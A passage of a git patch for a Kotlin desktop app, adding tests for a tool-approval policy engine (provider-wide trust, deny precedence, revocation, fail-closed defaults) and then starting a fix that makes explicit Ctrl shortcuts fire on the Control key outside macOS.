) + + @Test + fun `a failed provider persist still runs the approved call and records the fallback`() = + runBlocking { + var commandCalls = 0 + val fixture = failingProviderFixture(onCommand = { commandCalls++ }, onDelete = { }) + try { + // Approve with "Trust This Plugin"; the provider-wide write cannot persist. + val call = async { fixture.core.invoke("run_command", "{}") } + val request = + fixture.approvalBus.pendingList + .first { it.isNotEmpty() } + .first() + fixture.approvalBus.approve(request.id, trustProvider = true) + + // A failed persist must not block the already-approved call, and the + // ledger records that the durable grant did not save. + assertFalse(call.await().isError) + assertEquals(1, commandCalls) + assertTrue(fixture.policyEngine.fault.value is McpPolicyFault.ProviderPolicyPersistFailed) + assertEquals( + McpApprovalDisposition.PROVIDER_TRUST_PERSIST_FAILED, + fixture.ledger.recentOperations.value + .single() + .approvalDisposition, + ) + + // The fallback is per-tool: this one tool is session-trusted, so it runs + // again without a prompt. + assertFalse(fixture.core.invoke("run_command", "{}").isError) + assertEquals(2, commandCalls) + assertTrue( + fixture.approvalBus.pendingList.value + .isEmpty(), + ) + } finally { + fixture.close() + } + } + + @Test + fun `a failed provider persist does not cover the provider's other tools`() = + runBlocking { + var deleteCalls = 0 + val fixture = failingProviderFixture(onCommand = { }, onDelete = { deleteCalls++ }) + try { + val call = async { fixture.core.invoke("run_command", "{}") } + val request = + fixture.approvalBus.pendingList + .first { it.isNotEmpty() } + .first() + fixture.approvalBus.approve(request.id, trustProvider = true) + call.await() + + // No provider rule survived the failed write, so a sibling tool from the + // same provider is not covered and still asks. + assertEquals(0, deleteCalls) + val siblingCall = async { fixture.core.invoke("k8s_delete", "{}") } + val siblingRequest = + fixture.approvalBus.pendingList + .first { it.isNotEmpty() } + .first() + fixture.approvalBus.deny(siblingRequest.id) + assertTrue(siblingCall.await().isError) + assertEquals(0, deleteCalls) + } finally { + fixture.close() + } + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderPolicyTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderPolicyTest.kt new file mode 100644 index 0000000000..9280942b6a --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderPolicyTest.kt @@ -0,0 +1,163 @@ +package ai.rever.boss.mcp + +import java.io.File +import kotlin.test.AfterTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +/** + * "Trust This Plugin": a persisted, provider-wide ALLOW ([McpPolicyEngine.setProviderPolicy]) so + * an operator does not have to approve every tool one plugin contributes individually. + * + * Precedence is the interesting part - see [McpPolicyEngine.policyFor]'s own KDoc for the full + * ordering. These tests pin each step against the ones next to it, since that is exactly where a + * future change is most likely to invert two steps without anything else noticing. + */ +class McpProviderPolicyTest { + private val tempFiles = mutableListOf() + + private fun createTempPolicyFile(): File { + val dir = + kotlin.io.path + .createTempDirectory("mcp-provider-policy-test") + .toFile() + return File(dir, "mcp-tool-policy.json").also { tempFiles.add(it) } + } + + @AfterTest + fun cleanup() { + tempFiles.forEach { it.parentFile?.deleteRecursively() } + tempFiles.clear() + } + + @Test + fun `a provider ALLOW covers every tool from that provider, but not other providers`() { + val engine = McpPolicyEngine(policyFile = createTempPolicyFile()) + + assertEquals(McpPolicyAction.ASK, engine.policyFor("k8s_delete", "terminal-tab")) + assertTrue(engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW)) + + // Every tool named as coming from the trusted provider is allowed now... + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("k8s_delete", "terminal-tab")) + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("run_command", "terminal-tab")) + // ...but the same tool name from a DIFFERENT provider is not. + assertEquals(McpPolicyAction.ASK, engine.policyFor("k8s_delete", "flow-tab")) + // A read-only tool from the trusted provider was already ALLOW by default; still is. + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("git_status", "terminal-tab")) + } + + @Test + fun `a tool-specific ALLOW or ASK wins over its provider's rule - a DENY at either level always wins`() { + val engine = McpPolicyEngine(policyFile = createTempPolicyFile()) + + engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + engine.setToolPolicy("run_command", McpPolicyAction.DENY) + // The provider trusts everything, but this ONE tool has its own, more specific DENY - + // and DENY beats a broader ALLOW regardless of which one is more specific. + assertEquals(McpPolicyAction.DENY, engine.policyFor("run_command", "terminal-tab")) + // A sibling tool from the same provider is unaffected by that one override. + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("k8s_delete", "terminal-tab")) + + // NOT symmetric: a tool-specific ALLOW does NOT survive a provider-wide DENY. DENY is + // never "most specific wins" - see policyFor's own KDoc for why a narrower ALLOW must + // not be able to punch a hole through a broader, deliberate denial. + val engine2 = McpPolicyEngine(policyFile = createTempPolicyFile()) + engine2.setProviderPolicy("flow-tab", McpPolicyAction.DENY) + engine2.setToolPolicy("git_status", McpPolicyAction.ALLOW) + assertEquals(McpPolicyAction.DENY, engine2.policyFor("git_status", "flow-tab")) + assertEquals(McpPolicyAction.DENY, engine2.policyFor("run_command", "flow-tab")) + } + + @Test + fun `a provider DENY overrides session trust for its tools, the same way a tool DENY does`() { + val engine = McpPolicyEngine(policyFile = createTempPolicyFile()) + + engine.trustForSession("run_command") + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("run_command", "terminal-tab")) + + engine.setProviderPolicy("terminal-tab", McpPolicyAction.DENY) + assertEquals( + McpPolicyAction.DENY, + engine.policyFor("run_command", "terminal-tab"), + "an explicit provider-wide DENY must not be weaker than a per-tool DENY - both beat session trust", + ) + } + + @Test + fun `a provider ALLOW does not override a per-tool DENY set before or after it`() { + val engine = McpPolicyEngine(policyFile = createTempPolicyFile()) + + engine.setToolPolicy("run_command", McpPolicyAction.DENY) + engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + assertEquals(McpPolicyAction.DENY, engine.policyFor("run_command", "terminal-tab")) + } + + @Test + fun `provider rules persist across reload, and are absent from a caller that omits providerId`() { + val file = createTempPolicyFile() + val engine = McpPolicyEngine(policyFile = file) + engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + + val reloaded = McpPolicyEngine(policyFile = file) + assertEquals(McpPolicyAction.ALLOW, reloaded.policyFor("k8s_delete", "terminal-tab")) + // A caller that never learned the provider id (the default parameter) cannot benefit + // from a rule it never named - falls through to the ordinary risk-based default. + assertEquals(McpPolicyAction.ASK, reloaded.policyFor("k8s_delete")) + } + + @Test + fun `revoking a provider rule removes it rather than rewriting it, so the tool falls back to its own rule`() { + val file = createTempPolicyFile() + val engine = McpPolicyEngine(policyFile = file) + + engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + assertTrue(engine.revokeProviderPolicy("terminal-tab")) + + assertFalse( + engine.config.value.providerRules + .containsKey("terminal-tab"), + "revoke must remove the key, not rewrite it to some other action - the exact mistake " + + "an earlier version of this same idea made for per-tool revocation", + ) + assertEquals(McpPolicyAction.ASK, engine.policyFor("k8s_delete", "terminal-tab")) + + // Survives a reload too - the removal itself was persisted, not just applied in memory. + val reloaded = McpPolicyEngine(policyFile = file) + assertFalse( + reloaded.config.value.providerRules + .containsKey("terminal-tab"), + ) + } + + @Test + fun `revoking one provider's trust leaves another provider's trust untouched`() { + val engine = McpPolicyEngine(policyFile = createTempPolicyFile()) + + engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + engine.setProviderPolicy("flow-tab", McpPolicyAction.ALLOW) + engine.revokeProviderPolicy("terminal-tab") + + assertEquals(McpPolicyAction.ASK, engine.policyFor("run_command", "terminal-tab")) + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("run_command", "flow-tab")) + } + + @Test + fun `a policy-unreadable fault denies a provider-trusted tool until a write recovers it`() { + val file = createTempPolicyFile() + file.writeText("{ not valid json") + val engine = McpPolicyEngine(policyFile = file) + + // Fail-closed defaults apply to a mutating tool from a provider that was never asked + // about, same as the existing per-tool case in McpPolicyEngineTest. + assertEquals(McpPolicyAction.DENY, engine.policyFor("run_command", "terminal-tab")) + + // The only way to populate providerRules is a load (which would not have hit the fault + // to begin with) or a successful write - and any successful write is what clears the + // fault, same as setToolPolicy already does. So recovery and trust land together here: + // an operator fixing "everything is denied" via the very action that also grants trust. + assertTrue(engine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW)) + assertEquals(McpPolicyAction.ALLOW, engine.policyFor("run_command", "terminal-tab")) + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderRevocationTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderRevocationTest.kt new file mode 100644 index 0000000000..1162e993cf --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpProviderRevocationTest.kt @@ -0,0 +1,112 @@ +package ai.rever.boss.mcp + +import ai.rever.boss.plugin.api.McpToolDefinition +import ai.rever.boss.plugin.api.McpToolHandler +import ai.rever.boss.plugin.api.McpToolProvider +import ai.rever.boss.plugin.api.McpToolResult +import kotlinx.coroutines.async +import kotlinx.coroutines.flow.first +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.withTimeout +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +class McpProviderRevocationTest { + @Test + fun `provider reset invalidates captured calls and both persistent grant scopes`() { + val engine = McpPolicyEngine(policyFile = null) + engine.setProviderPolicy("p", McpPolicyAction.ALLOW) + val captured = engine.revocationVersion("run_command", "p") + val other = engine.revocationVersion("k8s_delete", "other") + assertTrue(engine.revokeProviderPolicy("p")) + + assertFalse(engine.confirmInvocation("run_command", captured, true, providerId = "p")) + assertFalse( + engine.setToolPolicy( + "run_command", + McpPolicyAction.ALLOW, + expectedRevocation = captured, + providerId = "p", + ), + ) + assertFalse( + engine.setProviderPolicy( + "p", + McpPolicyAction.ALLOW, + expectedRevocation = captured, + toolName = "run_command", + ), + ) + assertFalse("run_command" in engine.sessionTrustedTools.value) + assertFalse("p" in engine.config.value.providerRules) + assertTrue(engine.confirmInvocation("k8s_delete", other, false, providerId = "other")) + assertTrue( + engine.confirmInvocation( + "run_command", + engine.revocationVersion("run_command", "p"), + false, + providerId = "p", + ), + ) + } + + @Test + fun `queued provider approval cannot restore trust after provider reset`() = + runBlocking { + val engine = McpPolicyEngine(policyFile = null) + engine.setProviderPolicy("p", McpPolicyAction.ALLOW) + engine.setToolPolicy("run_command", McpPolicyAction.ASK) + val bus = McpApprovalBus() + val ledger = McpOperationLedger(ledgerFile = null) + var ran = false + val core = + McpToolRegistryCore( + disabledFile = null, + policyEngine = engine, + approvalBus = bus, + ledger = ledger, + ) + core.registerProvider( + object : McpToolProvider { + override val providerId = "p" + + override fun tools() = + listOf( + McpToolDefinition( + name = "run_command", + description = "test", + handler = + McpToolHandler { + ran = true + McpToolResult("ok") + }, + ), + ) + }, + ) + val invocation = async { core.invoke("run_command", "{}") } + val request = withTimeout(5000L) { bus.pendingList.first { it.isNotEmpty() }.first() } + assertTrue(engine.revokeProviderPolicy("p")) + bus.approve(request.id, trustProvider = true) + assertTrue(invocation.await().isError) + assertFalse(ran) + assertFalse("p" in engine.config.value.providerRules) + assertEquals( + McpApprovalDisposition.POLICY_DENIED, + ledger.recentOperations.value + .first() + .approvalDisposition, + ) + } + + @Test + fun `provider guards cannot silently ignore missing tool context`() { + val engine = McpPolicyEngine(policyFile = null) + engine.setProviderPolicy("p", McpPolicyAction.DENY) + assertFalse(engine.setProviderPolicy("p", McpPolicyAction.ALLOW, preserveDeny = true)) + assertFalse(engine.setProviderPolicy("other", McpPolicyAction.ALLOW, expectedRevocation = 0L)) + assertEquals(McpPolicyAction.DENY, engine.policyFor("run_command", "p")) + } +} From 948b71e8b5d4131b7f1466b6cb54d2c16b24776a Mon Sep 17 00:00:00 2001 From: arjun28115 Date: Mon, 14 Sep 2026 09:42:15 +0530 Subject: [PATCH 09/28] fix(keymap): make an explicit Ctrl chord fire on the Control key off macOS (#553) (#559) Make explicit Ctrl bindings fire on Control off macOS, with shared capture/matching rules and platform-aware chord identity for conflict detection and migration. Preserve distinct macOS modifiers and reject unsupported Super capture. Original implementation and contributor follow-up by @arjun28115. Earlier review-agent work integrated dev, rejected unsupported Super captures, and corrected comments; those repairs are separately credited in the PR description. Closes #553. --- .../settings/keymap/KeyCaptureDialog.kt | 38 +- .../boss/keymap/handler/KeymapMatcher.kt | 22 +- .../ai/rever/boss/keymap/model/KeyBinding.kt | 249 ++++++++-- .../boss/keymap/presets/KeymapPresets.kt | 15 +- .../boss/window/AWTKeyboardInterceptor.kt | 50 +- .../rever/boss/keymap/KeyCaptureNameTest.kt | 4 + .../ai/rever/boss/keymap/KeymapMatcherTest.kt | 75 ++- .../boss/keymap/PrimaryModifierRuleTest.kt | 433 ++++++++++++++++++ .../keymap/StandardBrowserBindingsTest.kt | 23 +- .../rever/boss/window/TabCycleModifierTest.kt | 57 ++- 10 files changed, 867 insertions(+), 99 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/keymap/PrimaryModifierRuleTest.kt diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/settings/keymap/KeyCaptureDialog.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/settings/keymap/KeyCaptureDialog.kt index ba9c2a14c3..f28ceb7197 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/settings/keymap/KeyCaptureDialog.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/settings/keymap/KeyCaptureDialog.kt @@ -4,6 +4,7 @@ import ai.rever.boss.components.events.MODIFIER_ONLY_KEYS import ai.rever.boss.keymap.model.KeyBinding import ai.rever.boss.keymap.model.KeyStroke import ai.rever.boss.keymap.model.ShortcutContext +import ai.rever.boss.keymap.model.recordedModifiers import ai.rever.boss.keymap.model.storedKeyName import ai.rever.boss.plugin.ui.BossDialog import ai.rever.boss.plugin.ui.BossTheme @@ -45,6 +46,7 @@ fun KeyCaptureDialog( var capturedKey by remember { mutableStateOf(null) } var capturedModifiers by remember { mutableStateOf>(emptyList()) } var hasCapture by remember { mutableStateOf(false) } + var unsupportedCapture by remember { mutableStateOf(false) } val focusRequester = remember { FocusRequester() } LaunchedEffect(Unit) { @@ -152,19 +154,22 @@ fun KeyCaptureDialog( .onPreviewKeyEvent { event -> if (event.type == KeyEventType.KeyDown && isShortcutCaptureKey(event.key)) { capturedKey = event.key - val mods = mutableListOf() - val isMacOS = SystemUtils.isMacOS - if (isMacOS) { - if (event.isMetaPressed) mods.add("Cmd") - if (event.isCtrlPressed) mods.add("Ctrl") - } else { - if (event.isCtrlPressed) mods.add("Cmd") - if (event.isMetaPressed) mods.add("Ctrl") - } - if (event.isShiftPressed) mods.add("Shift") - if (event.isAltPressed) mods.add("Alt") - capturedModifiers = mods - hasCapture = true + // The shared rule, not a private swap. This dialog used to + // record a Control press as "Cmd" off macOS and a Super press + // as "Ctrl", which agreed with the old matcher and disagreed + // with both the default preset and the string this dialog + // shows the user one line below. See recordedModifiers. + val modifiers = + recordedModifiers( + metaDown = event.isMetaPressed, + controlDown = event.isCtrlPressed, + shiftDown = event.isShiftPressed, + altDown = event.isAltPressed, + isMacOS = SystemUtils.isMacOS, + ) + unsupportedCapture = modifiers == null + capturedModifiers = modifiers.orEmpty() + hasCapture = modifiers != null true } else { false @@ -183,7 +188,12 @@ fun KeyCaptureDialog( horizontalAlignment = Alignment.CenterHorizontally, ) { Text( - text = "Press any key combination...", + text = + if (unsupportedCapture) { + "Super shortcuts are unsupported. Choose another combination." + } else { + "Press any key combination..." + }, fontSize = 16.sp, fontWeight = FontWeight.Medium, color = BossTheme.colors.textSecondary, diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/handler/KeymapMatcher.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/handler/KeymapMatcher.kt index a1ddfa904b..489d366438 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/handler/KeymapMatcher.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/handler/KeymapMatcher.kt @@ -7,6 +7,7 @@ import ai.rever.boss.keymap.model.ShortcutContext import ai.rever.boss.keymap.model.canonicalKeyName import ai.rever.boss.keymap.model.canonicalModifiers import ai.rever.boss.keymap.model.composeKeyName +import ai.rever.boss.keymap.model.primaryModifierPressed import ai.rever.boss.utils.SystemUtils import androidx.compose.ui.input.key.Key import androidx.compose.ui.input.key.KeyEvent @@ -203,20 +204,13 @@ class KeymapMatcher( // Match logic: Handle platform-aware Cmd/Ctrl matching val primaryModifierMatch = - if (required.cmd || required.ctrl) { - if (isMacOS) { - // macOS: Cmd matches Meta, Ctrl matches Ctrl - (required.cmd && event.isMetaPressed) || (required.ctrl && event.isCtrlPressed) - } else { - // Linux/Windows: Cmd matches Ctrl (since Ctrl is the primary modifier) - // Meta/Super key is rarely used for shortcuts - (required.cmd && event.isCtrlPressed) || (required.ctrl && event.isMetaPressed) - } - } else { - // Binding doesn't require primary modifier - // Event must not have any primary modifier pressed - !event.isMetaPressed && !event.isCtrlPressed - } + primaryModifierPressed( + hasCmd = required.cmd, + hasCtrl = required.ctrl, + metaDown = event.isMetaPressed, + controlDown = event.isCtrlPressed, + isMacOS = isMacOS, + ) val modifierMatch = primaryModifierMatch && diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/model/KeyBinding.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/model/KeyBinding.kt index 80c2bd7a01..65154aa9a7 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/model/KeyBinding.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/model/KeyBinding.kt @@ -1,5 +1,6 @@ package ai.rever.boss.keymap.model +import ai.rever.boss.utils.SystemUtils import androidx.compose.ui.input.key.Key import kotlinx.serialization.Serializable import kotlinx.serialization.Transient @@ -25,6 +26,176 @@ internal fun canonicalModifiers(modifiers: List): Set = } } +/** + * Whether the primary modifier a chord asks for is the one actually held. + * + * The ONE definition of the Cmd/Ctrl rule, taking [isMacOS] as a parameter rather than reading it, + * so both platform branches are reachable from a test on either machine. They were not: every + * matcher read `SystemUtils.isMacOS` inline, so on a Mac only the Mac branch ever ran, which is how + * the non-mac branch below stayed wrong. + * + * **On macOS the two spellings are different keys.** Cmd is Meta, Ctrl is Control, and a chord + * naming one must not fire on the other. + * + * **Off macOS they are the same key, and that key is Control.** `KeyStroke.displayString` already + * renders both "cmd" and "ctrl" as "Ctrl" there, and `KeyBinding.fromKeyEvent` already records + * "Ctrl" for a Control press. The previous rule sent an explicit "Ctrl" to the Meta key instead, so + * a chord the recorder produced was one the matcher refused, and the Settings page displayed a + * shortcut that could not fire. That was the whole of BossConsole#553, and the default preset's + * Ctrl+Tab was its most visible instance rather than its cause. + * + * Super bindings recorded by the old dialog as "Ctrl" now fire on Control off macOS. + * That is a compatibility change: the old UI could record Super, though it displayed "Ctrl". + * Unsupported new Super captures are rejected rather than silently saving a different chord. + */ +internal fun primaryModifierPressed( + hasCmd: Boolean, + hasCtrl: Boolean, + metaDown: Boolean, + controlDown: Boolean, + isMacOS: Boolean, +): Boolean = + when { + !hasCmd && !hasCtrl -> !metaDown && !controlDown + isMacOS -> (hasCmd && metaDown) || (hasCtrl && controlDown) + else -> controlDown + } + +/** + * The token both primary spellings collapse to off macOS, where they are one physical key. + * + * It is deliberately not "cmd" or "ctrl": either would read as though one spelling had won, and + * the point is that off macOS the question "which of the two?" has no answer. + */ +internal const val PRIMARY_MODIFIER = "primary" + +/** + * What "the same chord" means, as the mirror of [primaryModifierPressed]. + * + * Everything that asks whether two chords collide compares these strings: `KeymapValidator`'s + * conflict grouping, `KeymapPresets.claimsChord` and `withoutChordsTakenBy`, and the migration's + * chord check. They must agree with the matcher about identity, or the app dispatches two actions + * from one keypress while the Settings page shows no conflict badge. + * + * Off macOS `Cmd` and `Ctrl` are the same physical key, so `Ctrl+W` and `Cmd+W` are ONE chord and + * must share a signature. They did not: a captured `Ctrl+W` and the preset's `Cmd+W` both fired on + * Control, `checkBinding` and `findConflicts` reported nothing, and because the same signature + * backs `claimsChord`, migration could add a second action onto a chord that was already taken. + * + * On macOS they are different keys and the signatures stay distinct. + * + * [canonicalModifiers] deliberately keeps the two apart, because its other callers + * ([KeymapMatcher], `MenuShortcutBridge`, `AWTKeyboardInterceptor`) need to know which spelling a + * chord used before [primaryModifierPressed] folds it. The fold belongs here, not there. + */ +internal fun chordSignature( + key: String, + modifiers: List, + isMacOS: Boolean, +): String { + val canonical = canonicalModifiers(modifiers) + val folded = + if (isMacOS) { + canonical + } else { + canonical.mapTo(mutableSetOf()) { modifier -> + if (modifier == "cmd" || modifier == "ctrl") PRIMARY_MODIFIER else modifier + } + } + val modifierStr = folded.sorted().joinToString("+") + val keyStr = canonicalKeyName(key) + return if (modifierStr.isNotEmpty()) "$modifierStr+$keyStr" else keyStr +} + +/** + * The event side of a match: which key went down and which modifiers were held. + * + * A holder rather than five more parameters because detekt caps a parameter list at six, and + * because the five travel together everywhere they are used. + */ +internal data class EventChord( + val key: String, + val metaDown: Boolean = false, + val controlDown: Boolean = false, + val shiftDown: Boolean = false, + val altDown: Boolean = false, +) + +/** + * Whether a keystroke answers a key event, as a pure function of the platform. + * + * This is the body of [KeyStroke.matches]. It exists so both platform branches are reachable from a + * test, which is the same reason [primaryModifierPressed] takes [isMacOS] rather than reading it. + * + * It defers the primary-modifier decision to [primaryModifierPressed] instead of comparing + * `hasCmd == metaDown` itself. That comparison was platform-unaware, so off macOS it sent a `Cmd` + * chord to the Meta key and refused an explicit `Ctrl` chord on Control, which is the rule the live + * matcher stopped using in #553. + * + * One difference from [KeymapMatcher] remains and is intentional here: the key name is compared + * literally rather than through `canonicalKeyName`, which is the behaviour this function's callers + * already have. Folding key aliases too would change more than the modifier rule this reconciles. + */ +internal fun keystrokeMatches( + keystrokeKey: String, + modifiers: List, + event: EventChord, + isMacOS: Boolean, +): Boolean { + if (!keystrokeKey.equals(event.key, ignoreCase = true)) return false + val canonical = canonicalModifiers(modifiers) + return primaryModifierPressed( + hasCmd = "cmd" in canonical, + hasCtrl = "ctrl" in canonical, + metaDown = event.metaDown, + controlDown = event.controlDown, + isMacOS = isMacOS, + ) && + ("shift" in canonical) == event.shiftDown && + ("alt" in canonical) == event.altDown +} + +/** + * The modifier names to RECORD for the physical keys held, as the mirror of + * [primaryModifierPressed]. + * + * The two have to be one decision. Before #553 the capture dialog had its own inline swap and the + * matchers had theirs, and they happened to agree; the default preset, written by hand, did not + * agree with either, and nothing could have told anyone because no test ran the non-mac branch. + * + * On macOS both primary modifiers are recorded, because they are different keys. + * + * Off macOS only Control is, and it is recorded as "Ctrl". That is the spelling + * [KeyStroke.displayString] renders on that platform and the spelling the default preset already + * uses, so what is written down, what is shown and what fires are the same thing. A Super press + * returns null: callers must reject it rather than silently dropping a held modifier. + * + * "Cmd" remains accepted on read, so keymaps written by the previous capture dialog, which recorded + * a Control press as "Cmd" off macOS, keep working untouched. Legacy "Ctrl" bindings + * previously fired on Super and now fire on Control; their intended modifier cannot be inferred. + */ +internal fun recordedModifiers( + metaDown: Boolean, + controlDown: Boolean, + shiftDown: Boolean, + altDown: Boolean, + isMacOS: Boolean, +): List? = + if (!isMacOS && metaDown) { + null + } else { + buildList { + if (isMacOS) { + if (metaDown) add("Cmd") + if (controlDown) add("Ctrl") + } else { + if (controlDown) add("Ctrl") + } + if (shiftDown) add("Shift") + if (altDown) add("Alt") + } + } + /** * The prefix `Key.toString()` renders in front of a key's name. * @@ -293,20 +464,13 @@ data class KeyStroke( } /** - * Returns a signature for conflict detection. - * Format: "modifiers+key" + * Returns a signature for conflict detection. Format: "modifiers+key". + * + * Platform-dependent by design: off macOS `Cmd+W` and `Ctrl+W` are one chord and share a + * signature, because they are one physical key. See [chordSignature], which is the testable + * form and which this reads the platform for. */ - fun signature(): String { - // Canonicalised on both halves, not merely sorted and uppercased. Everything that asks - // "is this the same chord" compares signatures - KeymapValidator's conflict grouping, - // KeymapPresets.claimsChord, the migration's chord check - while findMatchingBinding - // folds aliases when it matches. A file spelling a chord ["Meta","Option"]+"Right" is - // the same chord to the matcher and used to be a different one here, which let migration - // add a second action onto it: a chord that then neither works nor shows a badge. - val modifierStr = canonicalModifiers(modifiers).sorted().joinToString("+") - val keyStr = canonicalKeyName(key) - return if (modifierStr.isNotEmpty()) "$modifierStr+$keyStr" else keyStr - } + fun signature(): String = chordSignature(key, modifiers, SystemUtils.isMacOS) /** * Checks if this keystroke matches the given key event properties. @@ -317,21 +481,20 @@ data class KeyStroke( isCtrlPressed: Boolean, isShiftPressed: Boolean, isAltPressed: Boolean, - ): Boolean { - // Check if key matches - if (!key.equals(eventKey, ignoreCase = true)) return false - - // Check modifiers - val hasCmd = modifiers.any { it.equals("Cmd", true) || it.equals("Meta", true) } - val hasCtrl = modifiers.any { it.equals("Ctrl", true) || it.equals("Control", true) } - val hasShift = modifiers.any { it.equals("Shift", true) } - val hasAlt = modifiers.any { it.equals("Alt", true) || it.equals("Option", true) } - - return (hasCmd == isMetaPressed) && - (hasCtrl == isCtrlPressed) && - (hasShift == isShiftPressed) && - (hasAlt == isAltPressed) - } + ): Boolean = + keystrokeMatches( + keystrokeKey = key, + modifiers = modifiers, + event = + EventChord( + key = eventKey, + metaDown = isMetaPressed, + controlDown = isCtrlPressed, + shiftDown = isShiftPressed, + altDown = isAltPressed, + ), + isMacOS = SystemUtils.isMacOS, + ) companion object { /** @@ -421,8 +584,10 @@ data class KeyBinding( /** * Returns a unique signature for this key binding's primary keystroke (for conflict detection). - * Format: "context:modifiers+key" - * Example: "GLOBAL:Cmd+Shift+N" + * Format: "context:modifiers+key". Example on macOS: "GLOBAL:cmd+shift+N". + * + * Off macOS the primary modifier folds, so the same binding signs as "GLOBAL:primary+shift+N" + * and collides with the Ctrl spelling as it should. See [chordSignature]. */ fun signature(): String = "${context.name}:${primaryKeystroke.signature()}" @@ -477,11 +642,18 @@ data class KeyBinding( category: String = "Other", description: String = "", ): KeyBinding { - val modifiers = mutableListOf() - if (isMetaPressed) modifiers.add("Cmd") - if (isCtrlPressed) modifiers.add("Ctrl") - if (isShiftPressed) modifiers.add("Shift") - if (isAltPressed) modifiers.add("Alt") + // Was a third spelling of the Cmd/Ctrl rule, disagreeing with both the matcher and + // the capture dialog while having no caller. A third copy waiting for its first caller + // is the shape of every keymap bug this codebase has had, so it now shares the one + // definition rather than being deleted and re-added by the next person who needs it. + val modifiers = + recordedModifiers( + metaDown = isMetaPressed, + controlDown = isCtrlPressed, + shiftDown = isShiftPressed, + altDown = isAltPressed, + isMacOS = SystemUtils.isMacOS, + ) return KeyBinding( actionId = actionId, @@ -489,7 +661,7 @@ data class KeyBinding( // dialog's (#329); this copy has no caller today, which is exactly why it would // have been the one to survive. key = storedKeyName(key), - modifiers = modifiers, + modifiers = requireNotNull(modifiers) { "Super shortcuts are unsupported on this platform" }, context = context, enabled = true, category = category, @@ -502,9 +674,8 @@ data class KeyBinding( // consulted by neither matcher; now that both walk allKeystrokes it would be wrong in // both directions, so it is gone rather than left as a trap. On macOS the alternate // really fires, so Ctrl+N would open a window as well as Cmd+N. On Windows and Linux - // "Ctrl" maps to isMetaDown, so the alternate demands the Super key and is unreachable - // - while the Cmd primary already matches the Control key, which is the whole thing the - // helper was reaching for. No preset ever used it. + // both spellings now match Control, so the alternate merely duplicates the primary. + // No preset ever used it. /** * Creates a KeyBinding with multiple keystrokes. diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/presets/KeymapPresets.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/presets/KeymapPresets.kt index 64224e767b..99aed2b6d3 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/presets/KeymapPresets.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/keymap/presets/KeymapPresets.kt @@ -5,6 +5,7 @@ import ai.rever.boss.keymap.model.KeyStroke import ai.rever.boss.keymap.model.KeymapActions import ai.rever.boss.keymap.model.KeymapSettings import ai.rever.boss.keymap.model.ShortcutContext +import ai.rever.boss.utils.SystemUtils /** * Preset keyboard shortcut configurations. @@ -487,11 +488,19 @@ object KeymapPresets { category = KeymapActions.Categories.EDITOR, description = KeymapActions.getDescription(KeymapActions.EDITOR_REPLACE), ), - // VS Code uses F3/Cmd+G for Find Next + // VS Code uses F3/Cmd+G for Find Next, and the split is not cosmetic: off macOS + // this preset also binds Ctrl+G to Go to Line eleven lines below, and since #553 + // both spellings ARE the Control key there. Shipping both put two EDITOR actions + // on Control+G on Windows and Linux, which is what real VS Code avoids by using + // F3 on those platforms and reserving Ctrl+G for Go to Line. + // + // The conflict was invisible because signatures did not fold the primary modifier + // while the matcher did, so KeymapValidator saw two chords where the user had one + // key. chordSignature now folds, which is what surfaced this. KeyBinding( actionId = KeymapActions.EDITOR_FIND_NEXT, - key = "G", - modifiers = listOf("Cmd"), + key = if (SystemUtils.isMacOS) "G" else "F3", + modifiers = if (SystemUtils.isMacOS) listOf("Cmd") else emptyList(), context = ShortcutContext.EDITOR, category = KeymapActions.Categories.EDITOR, description = KeymapActions.getDescription(KeymapActions.EDITOR_FIND_NEXT), diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/window/AWTKeyboardInterceptor.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/window/AWTKeyboardInterceptor.kt index 8c2e0441ac..ee1e708566 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/window/AWTKeyboardInterceptor.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/window/AWTKeyboardInterceptor.kt @@ -8,6 +8,7 @@ 